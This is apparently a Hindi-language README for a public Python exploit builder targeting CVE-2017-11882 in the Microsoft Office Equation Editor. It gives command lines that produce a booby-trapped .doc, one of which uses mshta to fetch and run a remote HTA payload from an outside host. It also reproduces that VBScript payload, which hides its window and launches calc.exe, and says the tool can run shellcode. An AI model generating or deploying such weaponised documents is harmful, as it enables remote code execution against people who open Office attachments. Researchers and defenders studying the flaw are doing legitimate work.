shadowshusky/cve-2017-11882-CVE-2017-11882 (MS Office Equation Editor कमजोरी) के लिए Python एक्सप्लॉइट, जिसमें कमांड इंजेक्शन और mshta-आधारित रिमोट पेलोड डिलीवरी शामिल है, जो शेलकोड निष्पादन का समर्थन करता है।
43b मूल स्क्रिप्ट https://github.com/embedi/CVE-2017-11882 से है
109b मूल स्क्रिप्ट https://github.com/unamer/CVE-2017-11882/ से है (एक सलाम, अब unamer का कोड shellcode निष्पादित कर सकता है~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
शोध: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
पैच विश्लेषण: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
DEMO PoC शोषण: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
mshta का उपयोग करें
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
43b कमांड की लंबाई 43 बाइट्स से अधिक नहीं हो सकती, 109b कमांड की लंबाई 109 बाइट्स से अधिक नहीं हो सकती
example फ़ोल्डर में एक .rtf फ़ाइल है जो CVE-2017-11882 भेद्यता का शोषण करती है और सिस्टम में कैलकुलेटर चलाती है।